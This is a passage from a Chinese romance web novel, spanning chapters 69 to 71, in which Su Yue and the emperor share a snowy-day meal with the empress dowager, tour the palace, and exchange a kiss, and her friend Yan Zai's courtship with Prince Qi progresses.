下雪的日子,还是令人心情愉悦的啊。她拢着袖子站在檐下仰望,雪片纷飞,从?天顶洒落,冷虽冷,但下雪的快乐足以弥补这?点不?足了?。 苏云从?廊上过来,今天没有外派赴私宴的差事,因此她也不?必在外面巡查,高?高?兴兴对苏月说:“阿姐,咱们回家吧。阿嫂让人传话进来,说阿爹的旧友送了?两只现打的獐子,已经剥了?皮,预备烤着吃呢。” 苏月说好,姐妹俩正要出门?,掖庭派人来传话,说太后请大娘子进宫,围炉喝茶。 没办法,计划被打乱了?,苏云只得一个?人回去。苏月换了?身衣裳,就?应邀赶往了?太后的安福宫。 刚到?宫门?上,恰巧遇见了?匆匆前来的权大,他审视了?她两眼,“你的脸怎么煞白?是天冷冻的,还是想朕想的?” 苏月讥嘲,“想你做什么?今冬的头?一场雪,也没见你念着我。你一个?定了?亲的人,还不?如阿弟有眼色,齐王一早就?约颜在出去踏雪了?,你呢,就?会问我为何煞白,告诉你,是伤心伤的!” 这?番控诉,果然令他心虚不?已,“朕忙了?一上午,几回想让人去请你,都抽不?出空来。好不?容易忙完,太后让人传话,说把你请来了?,这?不?就?快马加鞭赶来与你汇合了?吗。”说着张开自己宽大的斗篷,像只母鸡似的把她护在腋下,低头?笑了?笑道,“朕已经忙完政务了?,奏疏也看完了?,可?以陪你到?明早,你高?兴吗?” 当然用?不?着苏月回答,他心里早就?认定她会高?兴了?,不?顾她的反对,裹携着她进了?安福殿。 太后那里早架起了?火,肉也有,酒也有,原本说要喝茶的,因为人多热闹,临时决定喝两杯了?。 烤肉的手艺,从?过军的男子都有。皇帝卷起袖子张罗,忙得顾不?上自己,也来不?及供应太后和苏月。 所幸苏月还是疼他的,筷下留情省出两块给他,否则他连肉星子都尝不?着,肚子已经唱起空城计了?。 “这?个?铁网子太小。”太后挑剔不?已,“半天才烤几块,还不?够塞牙缝的。” 苏月探手斟酒,一面落井下石地冲他微笑,皇帝只得认命地点头?,“让人做个?双倍大的,明天就?要!” 正忙着翻烤,外面传话入殿,说鲁国夫人来了?。太后发话说有请,结果传话的人还没出去,鲁国夫人自己就?进来了?。 进来两眼含着泪,直接扑在了?太后膝头?,哭得梨花带雨,“姑母,您要为我做主哇!” 第70章 第 70 章 苏月和皇帝面面相觑, 不知道鲁国夫人?唱的是哪出。但一向?好面子?的人?,这?回竟哭着进来?,八成是出了什么大事了。 太后也被她吓得不轻, 一家人?正好好吃烤肉呢, 忽然来?了个哭哭啼啼的, 把她的食欲都彻底吓没?了。 因?是自己的侄女,不能苛责, 忙搀扶了一把问:“怎么了,哭得天塌了一样。赶紧起来?, 陛下和大娘子?都在, 你这?么不成体统,不怕御前?失仪啊?” 鲁国夫人?这?才止住泪,回头看了那?两人?一眼, 委委屈屈地福了福身, “陛下, 大娘子?,我一时情急, 还望见谅。不过……都是自己人?……”她越说越难过,捂住了脸呜咽,“自家人?面前?我也不避讳, 心里难过, 自然要?哭出来?。” 皇帝难堪地望望苏月, 表示权家人?一般不这?样,这?位是外戚,太后也难管。 苏月因?和鲁国夫人?接触过几回, 见她这?么委屈,不免要?劝慰两句。招人?送了绣墩来?, 请她先坐定,一面给她递了热茶汤,温声道:“有什么话慢慢说,这?么一哭,可要?惊着太后了。” 都劝她别哭,出场的电闪雷鸣算是做全了,鲁国夫人?这?才拿手绢擦了擦脸,见三?人?都眼巴巴地看着自己,觉得有点?不好意思。 太后蹙眉叹了口气,“大雪天不在家吃肉,跑到我这?儿?哭来?了。现在哭完了,说说吧,到底怎么了。” 坐在绣墩上?的鲁国夫人?正了正身子?,说事也讲究策略,看看太后又看看皇帝,嘟囔道:“我家那?死鬼过身已经三?年了,这?些年我一直孤身一人?,姑母和陛下是知道的。我一个弱女子?,支撑起家业不容易,我也有孤单寂寞,要?人?关心疼爱的时候。” 明白了,是为情所困。皇帝原本以为她遇见了什么难事,哭得眼睛肿如桃,到最后发现是为这?个,无聊地调转开视线,举着夹子?给自己烤肉吃去了。 鲁国夫人?很?难过,“陛下,我这?事不足挂齿,您懒得听吗?” 皇帝说没?有,“朕还没?顾得上?吃,你们聊你们的。” 呜呜咽咽的鲁国夫人?于是又对准了太后,“我寡妇失业的,多?不容易,别人?不知道,姑母知道。别看我平时爽朗,其实心里的苦,说也说不完。” 皇帝不合时宜地插了一嘴,“阿姐上?年不是相上?了鸿胪寺卿吗,人?家预备下聘,你又不愿意了。” 结果换来?鲁国夫人?的反驳,“女郎找郎子?又不是抓猪崽,随便哪个都行?,我当然要?勘察此人?的作风品行?。” 皇帝说:“鸿胪寺卿是出了名的洁身自好。” 鲁国夫人?有点?词穷,但还是有她的一套说法,“我这?人?不羁,喜欢自由。那?个汪霁云管得太宽,连我穿什么衣裳都要?管,这?日子?没?法过。” 太后愁眉苦脸道:“那?你这?回又看上?谁了?我可告诉你,若是有家有口的,你吵着闹着要?嫁,诚是自取其辱。我是不会?做那?种拆散人?家夫妻的恶事的,你若打这?个主意,就免开尊口。” 鲁国夫人?被这?母子?俩一通打岔,连自己要?说什么都险些忘了。但是一看见苏月的脸,立马又回忆起来?,掖着手绢抽抽搭搭,“我在姑母眼里,是那?种抢人?汉子?的人?吗!我这?回看上?的人?没?有家小,独自一人?在上?都。” 太后想不明白,“那?还有什么可哭的,难道人?家没?相上?你,你打算求陛下赐婚?” 鲁国夫人?说不是,“我都多?大年纪了,还赐什么婚。不是我说,我见过的男子?也不少,想嫁人?还不简单吗。这?回遇见的本也是郎有情来?妾有意,谁知忽然横插进来?一个人?,把好事给搅和了,我怎么咽的下这?口气,一定要?找您主持公道。” 太后觉得她简直是小题大做,“你是什么人?呐,抢回来?不就行?了。” 说起这?个鲁国夫人?更悲伤了,“还不是因?为官大一级压死人?,我抢不过吗!” 这?下对面的三?人?都迷惑了,她已经是国夫人?了,挖墙脚的居然比她品阶更高,这?可是怪了。 太后好奇地追问:“到底是什么人??你的话能不能一口气说完,我要?是寿命不长,哪里听得完。” 只见绣墩上?的人?唇角向?左一捺,又向?右一捺,“我是陛下亲封的鲁国夫人?,她是陛下亲封的汉阳长公主。” 这?话再一次惊呆了所有人?,苏月知道那?位长公主,自己头一回上?私宅出演,去的就是汉阳长公主府。可那?位长公主是个文静内敛的人?啊,在葛家受了十几年窝囊气,照理来?说眼光不会?同鲁国夫人?一样。 可鲁国夫人是实打实地抢不过她,憋闷地说:“我知道汉阳长公主地位高、脾气好、擅持家,可我也有好处啊……” 话没?说完就受到了皇帝的迎面痛击,“什么好?胃口好?” 所有人?都沉默了,苏月在遗憾中找到了些许安慰,终于知道原来?他并不是只对自己口出狂言,对家里人?也一样。 太后无奈地看了他一眼,“你能不说话么?这?是你表姐!” 皇帝老实了,低头又吃他的鹿肉去了。 鲁国夫人?咧嘴,“陛下到底向?着权家人?,我是个外人?,不能和宗亲相提并论。” 太后道:“别扯这?些没?用的了,你也不是外人?,否则敢上?我这?里来?哭?可这?件事我帮不上?忙,手心手背都是肉,你是我侄女,她是高祖的侄女,你们要?争就各凭本事,谁抢赢了算谁的。”顿了顿又问,“说了半日,那?位才俊究竟是谁,惹得你们争风吃醋闹成这?样。” 鲁国夫人?瞅了苏月一眼,“要?说也怪大娘子?,若没?有向?我推举那?人?,也就惹不出这?些忧愁了。” 一直旁听的苏月被点?了名,不明所以,“我推举的?哪一个?” 鲁国夫人?说:“喏,不就是裴忌成亲那?日,你同我说的那?位举重?若轻的乐师。” 苏月惊得下巴都快掉了,“醍醐?” 举重?若轻的乐师名字就叫醍醐,苏月确实很?佩服他的琴技,但做梦也没?想到,这?样的身板样貌,居然能得贵妇们的青睐,甚至让鲁国夫人?不顾体面,到太后跟前?来?哭诉。 这?算是喜好特别,品味刁钻吗?苏月已经不知道该怎么说服自己了。 太后和皇帝朝她看过来?,太后估猜,“这?位乐师,想必品貌绝佳吧!” 皇帝则龙颜不悦,太乐署里居然有这?样一个危险的尤物存在,她从来?没?有同他说起过。并且她悄悄把人?介绍给了鲁国夫人?,可见她还是有事瞒着他,保不定她也对那?个乐师动过心。 面对皇帝怨怼的目光,苏月没?办法了,如实地描述了一番,“就是……身长九尺,膀大腰圆,黑黑的方脸,满脸络腮胡。” 皇帝听完这?番话,对鲁国夫人?肃然起敬,决定不再掺和这?个话题了。 太后试图委婉,可惜最后还是没?能委婉起来?,对这?糟心的侄女说:“要?不找个太医,看看眼睛吧。” 鲁国夫人?怔了下,“何必以貌取人?,他的琴技和为人?都是一等一的。” 太后道:“那?你欣赏他的琴技和为人?就行?了,何必非得据为己有呢。” 鲁国夫人?气涌如山,“我要?是能做得了自己的主,也不会?走投无路来?找姑母了。”说着向?皇帝哭诉,“陛下,我的乔郎可是打庐江的时候战死的。” 皇帝疑惑道:“为了嘉奖乔延年,你要?朕替你把瓜强扭下来??” 有些事能做,但经不得说,说出来?就会?很?尴尬。鲁国夫人?此行?注定得不到任何襄助,悲悲戚戚地回去了,她走后太后还在嘀咕,“八成是眼神出了毛病,琴技和为人?很?重?要?吗?难道不是长得俊俏,才是头等大事?” 所以说太后是全大梁女子?的表率,说出了大多?数女郎的心声。长得好看不能当饭吃,但长得不好看,很?容易摔碗。 边上?的皇帝终于放下筷子?掖了掖嘴,想起自己还得在女郎面前?保持风采,冲看过来?的苏月淡淡微笑,“朕吃饱了。” 然而苏月接下来?又面临了新的困扰,梨园最近确实在推举醍醐,但大家都是看重?他的技艺,致力于让上?都的官宦门第明白,梨园如今不重?色相,重?的是能力。结果这?可好,还没?安排上?几次出演,竟让两位贵妇发生了抢夺。忽来?的一切让她始料未及,看来?日后推不推举,要?三?思而行?了。 太后是闹不清现在的年轻人?,拍着膝头嘀咕:“她们吵吵闹闹的,不会?出事吧?” 苏月发愁得很?,“以前?女乐师与官员两情相悦,官员递交文书就可以了。现在风水轮流转,是不是公主夫人?们递交文书,也能把男乐师带出去?” 皇帝说应当,“一视同仁么,愿天下有情人?终成眷属,不论男女乐工都一样。” 太后方才想起了自己的小儿?子?,转头问苏月:“二郎近来?是不是总往梨园跑?他可是瞧上?了哪个乐工?” 苏月看了看皇帝,权弈的动向?,太后尚且不知道,自己随意泄露了,是不是不太好。 皇帝见状接了话,“二郎谱的曲子?送到梨园制成大乐了,上?次冬至大典上?还曾用过。来?往得多?了,与一个前?头人?相处甚欢,今日邀人?家女郎出游看雪去了。” 太后一听赶忙刺探:“是什么样的女郎?人?才怎么样?” 苏月说:“人?才样貌很?好,当初三?十多?人?从姑苏来?,她是头一个选作前?头人?的。如今处处帮衬我,再忙再累从不抱怨,是我顶要?好的朋友。” 如此太后就放心了,“只要?样貌好,品行?正,二郎若是喜欢,我不管。不过他的身子?,还是得小心啊,毕竟才复原……”更多?的话老母亲不便细说,清清嗓子?,端起了茶盏。 皇帝安抚母亲,“二郎自有分寸,阿娘不必担心。”边说边朝外面看,喃喃道,“雪下得愈发稠密了。” 太后是识趣的老太太,适时放了话,“在江南的时候可遇不上?这?么大的雪,你们上?外面玩去吧,小心别着凉。” 两个人?起身行?礼,退出了安福殿。迈出殿门的时候,有雪沫子?翻卷着弥漫到廊上?,风一吹凉凉的,却也是满心欢喜,像过节般快乐。 皇帝朝她伸出手,“去西隔城转一圈吧,看看那?两个泉眼冻住没?有。” 苏月说好,把手放进他温暖的掌心,跟他穿过阊阖重?门,登上?了九洲的水廊。 雪刚下不太久,木廊子?被浸湿了,还未能堆积起来?。两个人?撑着伞,慢慢行?走在湖面上?,天地茫茫,细雪在空中翻飞,近处的水榭和远处的殿宇复道,都被晕染得如诗如画一般。 他一直沉默着,苏月便仰头瞧他,见他正睨着眼南北展望。她能从他眼中看见坚毅的光,有属于帝王的雄心和宏愿,不与她谈情说爱时的权大还是很?正经的,很?有人?君风范。 但他是真的不能开口,一开口高大的形象就崩塌了,发现她在看他,语调难掩得意,“看傻了吧,忽然发现朕是如此英俊伟岸的男子?。” 苏月撇着唇,调开了视线。 她用态度表达鄙夷,他不屈地低头问她:“你不觉得高兴么?故地重?游,回味一下朕与你曾经的种种,多?让人?感怀啊!早前?朕对你一往情深,你对朕爱答不理,要?不是朕想尽办法纠缠你,你我之间早就缘尽了。” 苏月“哦”了声,“你终于承认了,是你先对我有意的。” 皇帝笑了笑,“如今你不是后来?者居上?了吗。” 苏月没?去反驳他,总是冥冥中自有天意吧,琉璃池的泉眼就是预兆。起先一眼,后来?变作两眼,上?天注定他们有缘,不因?身份地位相隔万里,就断了姻缘。 脚下慢行?,渐渐到了琉璃池前?,向?下俯瞰就是翻滚的清泉。苏月到今天才仔细看清,那?是一大一小两个泉眼,大的水流激昂,小的略显文静孱弱,但相距不远,俨然双生。 她抿唇笑起来?,细雪飞进眼里,也浑不在意。 可边上?的人?自言自语,“……早前?刚掏挖的时候,水流比现在大多?了。” 她愕然回头看他,他终于发现自己说漏了嘴,尴尬地摸摸鼻子?转开了。 苏月追上?去问:“你先前?说什么?这?泉眼是你命人?掏挖出来?的?” 皇帝见躲不开,只好讪讪承认了,“朕觉得这?池子?有意和朕过不去,要?出泉眼,一下子?出一双多?好,它偏偏只出一个,这?不是表明朕在单相思吗。朕是个不服输的人?,为了让你我成双,这?泉眼也必须是一双,就让人?下去查看,给它凿了个相邻的孔。所以说万事不能死板,要?懂得变通,没?有条件创造条件,只要?创造得好,一样可以逆天改命。” 把苏月听得五体投地,“我就是想破脑袋,也想不到这?第二眼泉是你掏出来?的。” 皇帝赶忙制止她,“别往外说,这?天意可是朕拿到尚书省官员面前?吹嘘过的。聘你做皇后,光靠积攒的那?些功绩不够,还得有上?天的授意。你不知道那?些官员多?固执,但有了这?个说法,事情就好办多?了。” 所以还有什么可诟病呢,就算泉眼是他后天挖出来?的,也是值得感恩的。 “你要?做朕的开国皇后,要?一步步走稳,将来?与朕在权 力之巅相互依靠。”风雪中的委以重?任,听上?去格外庄严。 苏月虽然不敢确定自己是不是真能如他说的那?样,但立个志愿,和他一起让这?曾经满目疮痍的国家变得越来?越好,义不容辞。 于是紧紧握一握他的手,“我是学步的孩子?,现在只会?爬,但有朝一日我会?走,而且一定能走得很?好。” 他庄重?地点?点?头,“朕最喜欢培养孩子?,你可以慢慢来?,但……朕什么时候能抱上?真孩子??” 果然这?个问题从不缺席,相较于婚礼的仪式,陛下更注重?的是实质性的进展。只要?有了进展,那?大婚还远吗? 苏月的豪情壮志倏忽消散了,支支吾吾搪塞,“急不得,看机缘。”一面东拉西扯,“哎呀,冷得很?。湖面上?没?遮没?挡的,风都灌进领口了,走吧走吧,咱们去别处看看。” 去哪里呢,皇帝想想,“朕带你去南宫。” 所谓的南宫,是大梁机要?官署聚集的地方。乾阳门外有个大宫门,叫永泰门,永泰门至端门之间官署林立,各种翊卫府监都设置在那?里。有时皇帝接见臣僚不在乾阳殿,也在南宫,他带她来?这?里,是有意让她接触王朝的中枢,让她看一看这?庞大的国家,究竟是如何运转的。 皇帝像个耐心的老师,一处处带她认识,这?里是殿内省,那?里是尚书省,还有卫尉寺和大理寺,都依着御道而建。今日下雪,职还是要?当的,官署内的官员们依旧在忙碌,回身时诧然见皇帝驾临,忙肃容长揖了下去。 皇帝神情淡然,摆手道:“不必照应,只管忙你们的。” 他有他的任务,低声给苏月介绍,什么官署是承办什么差事的。譬如一道地方上?的奏疏要?经过几个衙门,受多?少检阅,才能送到皇帝的御案上?。皇帝御批的政令,又要?通过尚书省和秘书省几轮修整,才能真正下发实行?。 执掌着梨园的脑子?,一时弄不清那?么多?流程,皇帝看她努力铭记的样子?,笑得十分慈祥,“很?麻烦吧?” 她颔首,“确实不简单,但我会?一一记下的。” 他方才带着她返回永泰门内,边走边道:“国家政务,都在那?些机要?衙门的掌握中,须得好生把控,不能掉以轻心。所以官衙设在紫微城内,并不独立分置出去,也是为了一旦有变,能够全力控制所有官员。” 苏月想得并不深远,“如今朝野上?下不是很?太平么,官员各司其职,没?有人?偷奸耍滑。” 皇帝隔上?许久才“嗯”了声,“未雨绸缪么,这?是朕的风格。事情到了眼前?再想补救,可就来?不及了。” 这?时雪下得越来?越大了,在天地间回旋,远处庄严的乾阳殿,也被勾勒出了一道精美的白边。皇帝走在她身前?,忽然顿住步子?说:“朕背你走一程吧,上?来?。” 苏月犹豫了下,“不太好吧!” 然后这?人?二话不说绕到她身后,高大的身躯碾压下来?,“那?你背朕。” 苏月险些被他压趴,气咻咻挣脱出来?,“我就知道你没?安好心。” 他挨了她两下,含笑看着她,“还是朕来?背你吧,朕力气大。” 苏月便不再拒绝了,奋力一跃蹦到他背上?,一手撑着伞,一手搂住他的脖子?。 贴在他鬓边,能感觉到他身上?的热量,女郎心头涌动着脉脉温情,娇声问:“大郎,你会?背着我,走到地老天荒吧?” 皇帝陛下想了想,“下雪的时候可以背你,暑天就算了,太热。” 她不大明白,“为什么下雪天才背我,怕我滑倒么?” 他倒没?想隐瞒,爽快地说不是,“朕手冷,不想撑伞。” 70-80 第71章 第 71 章 又在?讨打, 可惜苏月腾不出手来,一气?之下啮住他的耳朵,重重咬了一下。 他惊叫, “啊, 你是?属狗的吗?” 她犹不解恨, 把那只?搂脖子的手,塞进了他交领里?。 “你这个棒槌, 兜了这么大的圈子,想骗我撑伞。”她磨牙霍霍道, “要不是?怕你明日上朝被臣工窥出端倪, 我非把你的耳朵咬破不可。” 可是?皇帝陛下已经酥倒了半边,颤声说:“辜苏月,你这样会引发恶果, 朕劝你不要轻举妄动, 凡事三思而后行。” 她却在?他胸口抓了一把, “亏我还感动了,要与你地老?天荒地走下去, 谁知你只?是?想坑我替你撑伞。” 其实气?恼的并不是?他哄她撑伞,这半日没?带内侍,只?有他们两人, 一路都是?他举着伞的。她只?是?恼他总不让她痛快, 明明气?氛很好, 可以显得万般恩爱,结果这人就是?转着圈地讨嫌,实在?该骂。 然而自己一时冲动下了口, 好像做得有点顾头不顾尾了。等她冷静一下醒过味来,这人已经似被按了机簧, 快步走进乾阳殿中了。 “都退下。”他沉声下令,没?有放下她,直直向后殿走去。 万里?一见这番情景,二话不说飞快挥手,把人都遣了出去。 乾阳殿作为皇帝务政的场所?,前殿接见文武百官,后殿作日常起居所?用。也就是?说他的寝殿并不只?有徽猷殿,这里?也是?随时想歇便能歇的。 苏月骑虎难下,眼睁睁看?见重重帐幔倒退着,自己已经直达后殿。这时紧张得心都快蹦出来了,赶忙讨饶,“我错了,我再也不咬你了,下次出门我给?你打伞,再请你上我家?吃席……别别别,你快放下我吧。” 他却毫不退让,错牙道:“你对朕多番折辱,这份仇不能就这么算了。辜苏月,相处至今,朕有没?有做过轻薄你的事?你呢,亲过朕,摸过朕,把朕看?个精光,今日你还舔朕!” 苏月说冤枉,“前面几项我都认了,确实是?我做下的,但我没?有舔过你……” “舔了,就在?刚才。”他决意让她百口莫辩,这女郎屡屡勾得他火起,今日他已经忍无可忍,打算和她算总账了。 一鼓作气?把她背进内寝,扔在?了龙榻上,他扯下身上的斗篷往边上一抛,就打算饿虎扑羊。 她吓得大叫:“权珩,别以为你是?皇帝我就怕你,你敢胡来,我可和你拼了!” 他说拼吧,“朕豁出去了!”蛮横地一扑,把她压在?了身下。 女郎的身体,比他想象的更香更软,设想过无数次的场景真实发生了,脑子里?顿时一团乱麻,乱过之后就空白了。 苏月还在?使劲推他,“可以逐样讨要,不能数罪并罚。我我我……我要叫人了!” “叫人?殿外全是?朕的人,你叫破喉咙也不会有人来救你的。”他抬起迷蒙的眼,又笑着问?她:“你想好了,让朕逐样讨要吗?头一件就算了,早就两清了,那从第二件开始算起……”边说边扬了扬手,“朕该摸你哪里?呢……” 她立刻抱住了胸,“不行。” 他“嗯”了声,“怎么不行,你出尔反尔。” 她只?好耍赖,“你再想想别的。” 他沉吟了片刻,“那这个先?略过,再说下一项。”淫邪的视线上下端详她,“朕当时可是?受了天大的屈辱,现在?轮到你了,脱吧。” 苏月这才发现自己竟然欠了一屁股债,多到已经还不清了。 “要不然……我给?你一文钱?”她小心翼翼说,“拿钱抵消成不成?” 他摇了摇头,“就算集满了十?枚钱,朕也不能强迫你做什么了。而且你的种种恶行,岂是?一枚钱能相抵得过的,起码得两枚。” 苏月说不行,“马车里?那回我给?过你钱,你不能重收一回。” 他专注地凝视她,居高临下的身形像只?随时准备狩猎的豹子,“你若非要用钱解决,也不是?不行。你撞破朕沐浴那回收你一枚钱,今天你咬朕那一口,朕必须咬回来。” 苏月头皮发麻,但也没?有办法,偏过脑袋递上了耳朵,“没?想到你是?个斤斤计较的人,既然如此,咬吧。” 她视死如归,却不知那玲珑的耳廓和光洁的脖颈,会令他血气?上涌,心猿意马。 俯下身子,他凑近她,能感觉到她的紧张,甚至人都在?轻颤。他不由发笑,她一定以为他不知情趣,真会狠狠咬她一口,这女郎如此小人之心,实在?低估了他的智慧。 温热的气?息吹拂在?她鬓边,苏月咬住牙,准备迎接他的报复。可是等了等,没?有等来他的两排牙,等来的却是?嘴唇温柔的轻触,他开疆拓土,从她的耳垂到颈项,最后终于蔓延到了她唇瓣上。 好在?,吃完肉后都净过口,不然可尴尬了…… 正在?她胡思乱想的时候,他与她若即若离,耳语般说:“罚你亲朕,只?要亲得好,前账一笔勾销。” 这个买卖倒是?做得,反正是逃不开这一吻的。苏月时常觉得,自己对爱的悟性比他高多了,与其让他蛮干,不如自己占据主导,至少确保自己是快乐的。 像条主动上钩的鱼,她追了上去,但到后来究竟是谁在吻谁,已经分不清了。他的舌尖轻叩她齿门的时候,她稀里?糊涂迎接,然后兵荒马乱,世界颠倒撕扯,谁也没?想到体验如此新奇,原来亲吻还能这样。混乱的气?息、炎热的触感、神魂交融。尝试永远不够,一次又一次,每一次都在探索的路上。 不过苏月还保有最后的理?智,发生的场合不太对劲,自己身处危险境地,不能掉以轻心。一面享受一面警惕,发髻散乱了,衣襟扯开了,还好她悬崖勒马,最后保住了清白。 “说好咬一口的。”她下决心推开了他,“这下连本带利都讨回去了,铜钱可没?有了哦。” 他勉强从激荡中重组了魂魄,崴在?一旁抱屈,“你把人家?亲成这样,事后又赖账,朕的心都要碎了。” 苏月闻言过去查看?,不得不说,皇帝陛下伤亡惨重,嘴唇怎么磕破了? 她悚然问?:“这是?我干的?” 他有气?无力斜了她一眼,“不是?你,难道是?朕自己?”话又说回来,他仍是?不胜欢喜的,直起身子飞快在?她唇上又啄了下,“可是?朕甘之如饴,你还想对朕怎么样,朕都不会反抗的,只?要你高兴。” 两个人面对着面,都有雨后明亮的眼眸,有颧骨上散不去的余热。她抬起手,在?他唇峰上轻触了下,“别想入非非了,想些正经的,明日视朝,会被他们看?出来吗?” 他倒一点都不担心,“他们会以为朕上火了,只?会觉得朕可怜。”说着一手覆上她纤细的腰肢,暧昧地说,“要不你今晚别回梨园了,留下让朕伺候你吧。” 她说不成,“我还有远大的志向,不能因儿?女私情半途而废。” 他有些失望,“那你说,朕和梨园,哪个更重要?” 她想了想道:“你很重要,梨园对我来说也同样重要。我得陛下宠爱,梨园里?的乐工也能沾上陛下的光,梨园一旦缺少庇佑,不消三个月又会变得像从前一样。我不是?危言耸听,就说颜在?失踪那件事,大都府参与调查,几日没?有进展,为什么?如果彻底无人施压,走失一个乐工还不及权贵家?丢失一只?碗,他们可能连搜寻的人都不会派遣出去,你我心知肚明吧?” 这是?不可否认的,皇帝点了点头,“你说得对。” “所?以啊,我得护持梨园更久一些,等到有人能够妥善的接掌它了,才能放心撒手。陛下英明神武,尚且会灯下黑,我若是?回归掖庭,整日围着丈夫孩子打转,就算再有心,也顾念不上。”她倚在?他怀里?,扭头问?他,“你可还记得青崖?他击鼓后被送回乐府,我去探望过他,他同我说,梨园不能落进别人手里?,要我好生保护乐工们,我答应他了。” 皇帝不由惆怅,“这下可好,故人的托付不能辜负,对吧?” 她龇牙笑了笑,温声同他打商量,“再给?我一段时间,等我把一切安排好。《音声六十?四部?》修订完成,我就老?老?实实陪在?你身边,你说往东,我绝不往西,成吗?” 皇帝惊诧,“真的?算数?” 苏月说算数啊,“我说话向来算数,答应你的事,上刀山下火海都会办到的。” 可是?他又觉得遥遥无期看?不到尽头,“六十?四部?,你如今收集了多少部??不会比朕集满十?枚铜钱还漫长吧?” 苏月安慰他,“快了,已经收录了二十?九部?,至多两年?,定能完成。” 他一听两年?,两眼一黑,“多想一觉睡下去,睁开眼就是?两年?之后。” 她抚抚他的脸,“就算要等两年?,我不是?一直在?你身边么。与你又搂又抱的,哪个未婚妻能像我这样,照顾你所?有的喜怒哀乐?” 他无奈地说,“看?来朕还得谢谢你。” 苏月大度地摆手,“别客气?。” 他无话可说了,郁郁地看?着她。最后把她强压下来,不顾伤情又狠狠痛吻,那双不老?实的手趁机乱摸,可惜被她打了回去。 不过有一说一,这种幸福的日子,对一个打了二十?七年?光棍的汉子来说,已经是?不敢设想的了。他喜欢的女郎就在?他怀里?,即便不能如他所?愿,做些神秘又羞人的事,但纵是?隔靴搔痒,滋味也够他品咂再三了。 朕能等,他告诉自己。反正亲事都定了,还怕她跑到天上去吗。 苏月呢,与他相处得越久,就越觉得这是?个难能可贵的好郎子。他除了不太会说话,剩下几乎都是?优点。他情绪稳定,懂得尊重女郎的决定,虽说对她常有一些狂野的想法,但在?她看?来不是?问?题,毕竟自己也是?受用的。 意志越来越薄弱,底线能守一日是?一日吧。所?以皇帝试图留她住下,她犹豫再三没?有答应。 那人不情不愿送她回了官舍,又蹉跎到很晚才返回禁内。等他走后,苏月才想起来还有些要务没?完成,去找颜在?商量,发现颜在?竟还没?回来。 看?看?案上的更漏,这时差不多将要亥正了,迟迟未归,今晚不会不回来了吧!天太冷,不能死等,她便回了官舍,第二天一早赶到大乐堂,还好人在?,正抱着月琴调弦。 这事先?按下不提,先?忙完手上的差事,等到两首大曲下来,也将近中晌了,这时苏月才寻到机会同她说话。 两个人躲在?背人的地方喝茶,苏月探头打探,“昨日与齐王相处得很融洽么,那么晚才回来。” 颜在?在?苏月面前从不避讳,红着脸点了点头,“很是?融洽。我觉得他是?个不错的男子,事事都能为我着想,我心里?有些喜欢他。” 苏月当然乐见其成,告诉她一个好消息,“昨日我上太后宫中去,太后也问?起你了。太后说只?要品貌好,齐王喜欢就成,旁的不管。你们若是?真的两情相悦,那这事没?有阻碍。”说着真心实意地拉住颜在?的手,兴高采烈说,“咱们能在?一家?,那可太好了。” 颜在?不好意思了,扭捏道:“哪能那么容易就定准,又不是?小事。” 苏月问?:“你们昨日都玩了些什么?上南山寺拜菩萨去了吗?” 颜在?逐一同她细数,“先?上齐王府邸去了一趟,他说要带我认认他的宅子。后来游湖赏雪,确实去了南山寺看?梅花。” 苏月抚掌,“这不就是?在?向你示好么,都去认宅子了,后又去寺庙定情,齐王比陛下机灵多了。” 可颜在?的眉眼间还是?有几分惘然,“他是?王侯,我不过是?个乐工。我与你不一样,你与陛下是?有前情的,陛下认定你并不意外,但齐王难道就没?有更好的选择么,为什么会同我纠缠?” 苏月觉得她妄自菲薄了,搂着她的肩道:“你是?个好女郎呀,性情温顺,人又善良。当初我家?拒了陛下的婚,这事一泄露出去,人人都笑话我,只?有你拿我当朋友,处处护着我。” 颜在?赧然笑了,“陈年?旧事还提他做什么。姑苏来的同乡里?,只?有咱们俩进了宜春院,我自然和你一心,难道还帮着外人排挤你吗?” 这就是?人与人的不同,她和颜在?是?进了梨园才慢慢熟络的,而那个自小认识,同姓同宗的苏意,还不及颜在?一个外人。 总之她要是?能和齐王有结果,对于苏月来说是?一桩好事。父母在?身边,好朋友不分离,人生便没?有遗憾了。 后来颜在?与齐王也确实来往得越来越多,经常受邀出去相聚。有时候说起齐王,她脸上尽是?温情和动容,苏月就知道,这回定是?有谱了。 只?是?定亲这件事,总也等不到齐王那头的消息。苏月让颜在?催催齐王,颜在?是?个有些自卑的女郎,她不敢去问?,含含糊糊说:“不着急,我还想在?梨园做出些成绩来呢。” 但颜在?每回出游,总要拖到天黑才回来,两人之间的关?系显见也愈发深了。苏月便问?皇帝:“齐王以前可曾结交过女郎?他光是?约颜在?,又不给?个交代,这样可是?不太好啊?” 皇帝在?案前画他的两个黄鹂鸣翠柳,左一笔,右一笔,然后告诉她,“这个是?你,这个是?朕。” “唉呀。”苏月愁眉,“我同你说正经的呢。” 他没?把这事放在?心上,“二郎身子一向不好,上哪里?结交女郎去。他们认识才不久,一个多月罢了,急什么,咱们认识了五年?才定亲呢。” 苏月忍不住要讥嘲他,“可不是?,见过名字就算认识了。” 怎么不算呢,他想。并且他对阿弟的情史很有把握,权弈以前没?人,朱颜在?是?第一个。 苏月操心得就多,毕竟权大的单纯,未必能照原样复刻到权二身上,她了解权大,半点也不了解权二。 时间在?她的忧心中流淌,转眼到了年?下。每到过年?的时节,梨园就格外忙碌,要预备除夕的庆典,接下来又有初五日和元宵节。再加上城中诸多官邸要请人,人员安排出去的太多,光是?苏云一个人定时巡查,恐怕还不够。 正想着自己可以走中晌的一班,更能确保乐工们在?外不受委屈,这日颜在?来找她,腼腆地说:“齐王想邀陛下与你,明日游鹿鸣湖,你可能抽出时间来?” 苏月了然了,促狭地问?她:“游湖?有什么说法么?” 颜在?绞着手指道:“我们的事,想当面回禀陛下。你这头由我相邀,陛下那头他去说,若是?能应准,明日就请赏光,正好这阵子太忙,趁此机会出去松散松散。” 这么说来是?好事,只?不过定的时间不太合适,眼下真的很忙。她算了又算,有些为难,“非要定在?明日吗?” 颜在?也迟迟地,“他说若是?进展顺利,年?后就想过礼。” 终归是?人生大事,请到门上很难推辞,苏月笑道:“这事陛下早就知情了,其实就算私下说一声,陛下也定会降旨赐婚的。”忖了忖复又道,“看?陛下能不能抽出空闲,若是?他能,我当然是?要作陪的。” 颜在?欢欢喜喜说好,小女郎的婚事能够尘埃落定,实在?很不容易。毕竟她孤身在?上都,没?有母亲和阿兄做主,梨园乐工本就微贱,郎子又位高权重,一切进行到这里?,还有种不真实的感觉。 苏月这厢等着皇帝的消息,及到傍晚时分,淮州赶来传话,说陛下明日邀大娘子一起游湖,请娘子早做准备。 